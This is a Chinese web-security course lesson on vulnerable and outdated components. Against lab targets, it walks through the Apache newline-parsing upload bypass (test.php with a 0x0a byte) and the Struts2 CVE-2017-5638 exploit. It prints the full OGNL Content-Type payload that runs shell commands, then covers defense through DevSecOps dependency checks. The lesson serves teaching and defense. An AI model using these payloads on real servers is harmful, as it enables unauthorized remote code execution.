31 易受攻击和过时的组件:DevSecOps与依赖项安全检查 你好,我是王昊天。

不知道你是否听说过木桶效应?我们可以看下图这个木桶,假设它的底面为一整块木板,桶身由15块木板组成。现在,我们需要用这个木桶装尽可能多的水,显而易见,它能装水的数量仅与木板中高度最低的相关。

图片

其实对于Web应用的安全性来说,木桶效应同样有效。假设我们的Web应用运用了多个组件,例如Struts、Apache,那么它的安全强度也是由这些组件中最脆弱的一个所决定。所以在我们开发一个Web应用时,需要确保每一个组件都不存在已知的安全问题。

那么这节课,就让我们一起学习下Web应用中组件的安全问题吧。

易受攻击和过时的组件

首先,我们需要了解Web应用中具有哪些组件。

通常来讲,Web应用一般都包含三个基础组件,Web应用服务组件、Web数据库组件以及Web客户端浏览器组件。其中,我们很容易知道Web应用服务器是用于运行Web应用的,Web数据库服务器是用于给Web应用提供需要的数据,而Web客户端浏览器则可以用来展示Web应用返回的内容,同时决定用户与Web应用的交互方式。

其实上述三个基础组件本身,也是由多个组件所构成的,例如Web应用服务器可能会包含Struts、Apache应用等多个组件,而Struts、Apache内部也会包含很多组件。所以组件是一个很灵活的说法,你可以将它简单地理解为是一个独立功能单元

随着Web应用的功能越来越复杂,应用中组件的个数也在不断提升,这会对Web应用的安全造成一定的威胁,因为我们难以确保每个组件都是安全的。这是一个棘手的问题,它在OWASP 2021中荣获第六位,下面让我们具体地学习一些典型的易受攻击和过时的组件吧。

Apache换行解析漏洞

在之前的学习中,我们知道了Apache是一款使用很广泛的Web应用组件,尽管它的功能非常强大,但是在过去的版本中,它也存在换行解析漏洞,所以我们如果用这款工具时,要注意它的版本信息。

这个换行解析漏洞影响的版本为Apache 2.4.10 - 2.4.29,接下来让我们通过示例来具体的学习Apache换行解析漏洞。

图片

这是一个文件上传靶场,我们需要上传一个test.php文件,点击提交后,我们可以看到页面返回了bad file。发现被拦截之后,我查看靶场源码,看到了下面的过滤代码: if(in_array($ext, [‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’])) { exit(‘bad file’); }

它是基于黑名单的过滤方式,所以我们无法直接上传php相关后缀的文件名。但是,我们可以尝试利用换行解析漏洞去进行测试。于是,我们开启BurpSuite,拦截文件上传的报文如下:

POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 298 Cache-Control: max-age=0 sec-ch-ua: “Chromium”;v=”95”, “;Not A Brand”;v=”99” sec-ch-ua-mobile: ?0 sec-ch-ua-platform: “macOS” Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryD5b4HReBGGEbOB2B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,///;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ——WebKitFormBoundaryD5b4HReBGGEbOB2B Content-Disposition: form-data; name=”file”; filename=”test.php” Content-Type: text/php <?php phpinfo();?> ——WebKitFormBoundaryD5b4HReBGGEbOB2B Content-Disposition: form-data; name=”name” test.php ——WebKitFormBoundaryD5b4HReBGGEbOB2B–

在倒数第二行test.php的最后加上一个空格符,然后点击Hex格式,找到我们刚刚输入的空格,将它改为0a。

图片

然后将这个修改后的报文发送出去,响应中不再提示bad file。然后我们访问test.php%0a路径,获得响应如下:

图片

可以看到,我们上传文件test.php成功,并且成功输出了其中的PHP语句,我们看到Apache的版本信息为2.4.10,确实是存在换行解析漏洞的版本

回顾我们的攻击过程,我们将文件的后缀改为了 .php%0a,这个后缀是可以通过检测的,因此Web应用会允许 test.php%0a 的上传。到这里都是合理的,可是问题就发生在Apache在解析这个文件时,会将它解析为一个PHP文件,并调用PHP解释器来执行它。

事实上,%0a 代表换行符。Apache 是使用 .php( 的正则匹配方式来检测 php 后缀的文件,而 ) 是匹配字符串中结尾的位置,且如果存在换行符,则匹配换行符为结尾。所以,在上述示例中,我们利用了换行符 %0a 与 $ 匹配,使得我们上传的文件test.php%0a被当作PHP文件解析

这就是Apache换行解析漏洞,它的危害性还是很大的,所以我们在开发Web应用时,需要避免使用漏洞存在的版本。

接下来,让我们学习另一个典型的不安全组件问题,即Struts2远程代码执行漏洞。

Struts2远程代码执行漏洞

在学习这个漏洞之前,我们先来看下Struts2是什么。

Struts2是一个Java Web应用框架,它可以帮助我们更容易地去构建一个Web应用。在简单地了解了Struts2之后,我们开始学习Struts2远程代码执行漏洞产生的原理。

事实上,Struts2漏洞发生在文件上传过程中,我们知道上传和下载在Web应用中属于常用功能,可是Struts2本身并没有提供这个功能,而是选择调用模块Jakarta来实现文件的上传。这个Jakarta在处理文件上传请求时,会对异常信息进行OGNL表达式解析处理,这就是导致漏洞产生的核心因素。

攻击者可以访问使用Struts2制作的Web应用,并且用BurpSuite捕获报文,将HTTP请求头中的Content-Type改为包含multipart/form-data的OGNL恶意命令。这样Struts2在接收到这个请求后,由于Content-Type的值包含multipart/form-data,所以认为这是一个文件上传请求,进而交给Jakarta进行处理。可是我们的Content-Type中包含了恶意的OGNL代码,导致Jakarta在处理它时会发现异常,并将异常信息交给OGNL表达式解析处理。这样,我们的恶意OGNL代码就会被执行。

这就是Struts2远程代码执行漏洞,该漏洞被称为CVE-2017-5638,它的影响版本为Struts 2.3.5 - Struts 2.3.31以及Struts 2.5 - Struts 2.5.10。接下来,让我们通过实战,来亲自体会它的威力吧!

实战演练

我们进入实战环节,登录谜团(mituan.zone)并选择【易受攻击和过时的组件CVE-2017-5638】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。

图片

接下来我们刷新页面,用BurpSuite拦截请求,获取到如下报文: GET /showcase.action HTTP/1.1 Host: 127.0.0.1:8080 sec-ch-ua: “Chromium”;v=”95”, “;Not A Brand”;v=”99” sec-ch-ua-mobile: ?0 sec-ch-ua-platform: “macOS” Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,///;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

下面,我们给它添加一个Content-Type请求头,并将包含multipart/form-data字符串的恶意payload作为它的值。

GET /showcase.action HTTP/1.1 Host: 127.0.0.1:8080 Cache-Control: max-age=0 sec-ch-ua: “Chromium”;v=”95”, “;Not A Brand”;v=”99” sec-ch-ua-mobile: ?0 sec-ch-ua-platform: “macOS” Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,///;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Content-Type: %{(/#_=’multipart/form-data’).(/#[email protected]@DEFAULT_MEMBER_ACCESS).(/#_memberAccess?(/#_memberAccess=/#dm):((/#container=/#context[‘com.opensymphony.xwork2.ActionContext.container’]).(/#ognlUtil=/#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(/#ognlUtil.getExcludedPackageNames().clear()).(/#ognlUtil.getExcludedClasses().clear()).(/#context.setMemberAccess(/#dm)))).(/#cmd=’ls -l’).(/#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(/#cmds=(/#iswin?{‘cmd.exe’,’/c’,/#cmd}:{‘/bin/bash’,’-c’,/#cmd})).(/#p=new java.lang.ProcessBuilder(/#cmds)).(/#p.redirectErrorStream(true)).(/#process=/#p.start()).(/#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(/#process.getInputStream(),/#ros)).(/#ros.flush())} Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=C7D2C0C8353A3D952C576487D42216E3 Connection: close

payload是一段OGNL语句,你可能看不懂它,不用担心,这里我们只需要知道,在payload中cmd的值指定为

ls -l ,这样就可以让Web应用执行

ls -l 命令,并将输出进行返回。将我们精心修改后的报文发送出去,你就可以看到页面响应内容变为如下:

图片

可以看到,我们注入的命令

ls -l 的结果已经返回在页面上,攻击成功。

到这里,你已经学习了易受攻击和过时组件会给Web应用造成的威胁,接下来我们来学习如何抵御组件不安全的问题。

防御方式

为了保证我们的Web应用不会因为组件问题,导致威胁的存在,我们需要了解开发的Web应用中所有的组件信息,然后对它们进行检查,判断其中是否有不安全的组件存在,如果存在就对它们进行限制或修改,解决安全隐患,同时持续关注这些组件的安全信息。

这样我们就可以尽可能地减少组件安全性问题发生的概率。不过,上述措施实施起来还是比较困难的,毕竟一个Web应用可能会用到很多的组件。为了解决这个问题,我们可以利用DevSecOps来开发我们的应用。下面,我们来学习DevSecOps是什么以及它是如何保护Web应用组件安全的。

DevSecOps

想要学习DevSecOps,我们首先要了解DevOps是什么。

DevOps即有质量保证的开发与运维,它代表的是一组过程、方法与系统的统称,用于促进开发、技术运营以及质量保障部门之间的沟通、协作与调整。

在DevOps模式下,运维人员会在项目开发期就介入到开发过程中,了解开发人员使用的系统架构和技术路线,从而制定适当的运维方案。而开发人员也会在运维的初期参与到系统部署中,并提供系统部署的优化建议。这样不仅可以加深开发人员和运维人员的感情,还能使得彼此更了解应用的整体情况,有助于提高实施效率。

DevSecOps相比较而言多了Sec三个字母,事实上,它确实就是将安全性无缝集成到DevOps的每个阶段。它统一了开发活动、操作支持和安全检查。在DevSecOps中,对代码的任何更改都会触发安全检查,其中若存在易受攻击和不安全的组件,就会很快被发现及更改。

图片

总结

在这节课程中,我们学习了易受攻击和过时的组件问题。

首先,我们对组件进行了理解,知道了它其实是一个灵活的概念,我们可以将它理解为独立的功能单元。

之后,我们通过对Struts以及Apache这两个组件安全性的分析,结合实战,切身地了解了不安全的组件会给我们整个Web应用的安全性造成极大的威胁。

最后,我们学习了如何抵御组件安全性问题,即通过DevSecOps方式开发我们的Web应用,对所用的组件及依赖项进行及时的检测。这样,就可以很好地保护我们的Web应用啦!

思考题

你还知道哪些组件安全问题吗?以及如何防御?

欢迎在评论区中分享。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

参考资料

https://learn.lianglianglee.com/%e4%b8%93%e6%a0%8f/Web%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%e5%ae%9e%e6%88%98/31%20%e6%98%93%e5%8f%97%e6%94%bb%e5%87%bb%e5%92%8c%e8%bf%87%e6%97%b6%e7%9a%84%e7%bb%84%e4%bb%b6%ef%bc%9aDevSecOps%e4%b8%8e%e4%be%9d%e8%b5%96%e9%a1%b9%e5%ae%89%e5%85%a8%e6%a3%80%e6%9f%a5.md